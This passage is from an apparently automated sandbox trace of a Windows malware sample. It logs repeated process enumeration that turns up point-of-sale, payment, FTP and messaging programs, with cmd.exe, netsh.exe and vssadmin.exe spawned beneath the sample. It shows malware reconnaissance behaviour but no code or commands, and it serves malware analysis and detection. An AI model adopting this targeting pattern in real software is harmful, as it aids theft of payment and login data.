th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0071.558] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0071.559] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0071.560] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0071.561] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0071.562] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0071.563] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0071.563] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0071.564] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0071.565] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0071.566] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0071.567] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0071.568] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0071.569] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0071.570] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0071.571] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0071.572] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0071.572] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0071.573] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0071.574] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobile optimum looked.exe")) returned 1 [0071.575] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0071.576] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0071.577] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0071.580] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0071.581] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0071.582] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0071.582] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0071.583] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0071.584] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0071.585] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0071.585] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0071.586] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x7d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0071.691] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0071.692] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.693] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0071.693] CloseHandle (hObject=0x150) returned 1 [0071.693] Sleep (dwMilliseconds=0x1f4) [0073.107] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x150 [0073.117] Process32FirstW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0073.124] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0073.125] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0073.126] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.126] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0073.127] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.127] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0073.128] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0073.129] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0073.129] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0073.132] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.132] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.133] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.133] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.134] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.135] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0073.135] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.136] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.137] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0073.137] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0073.138] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0073.139] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.139] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.140] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0073.140] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expensesknowpolicies.exe")) returned 1 [0073.141] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="york-singing.exe")) returned 1 [0073.142] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno charges.exe")) returned 1 [0073.142] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impression.exe")) returned 1 [0073.143] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensboro-revealed.exe")) returned 1 [0073.143] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="range-hayes-pot.exe")) returned 1 [0073.144] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pilot-liverpool-black.exe")) returned 1 [0073.145] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gammafin.exe")) returned 1 [0073.145] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pope.exe")) returned 1 [0073.146] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operates.exe")) returned 1 [0073.147] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dynamics.exe")) returned 1 [0073.147] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="congratulations.exe")) returned 1 [0073.148] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="employer.exe")) returned 1 [0073.310] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="paypal_drunk.exe")) returned 1 [0073.311] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="italian french participants.exe")) returned 1 [0073.312] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bruceanalytical.exe")) returned 1 [0073.313] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefoxguess.exe")) returned 1 [0073.313] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="legally notified.exe")) returned 1 [0073.314] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="qualities.exe")) returned 1 [0073.315] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0073.315] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0073.316] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0073.317] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0073.317] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0073.318] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, 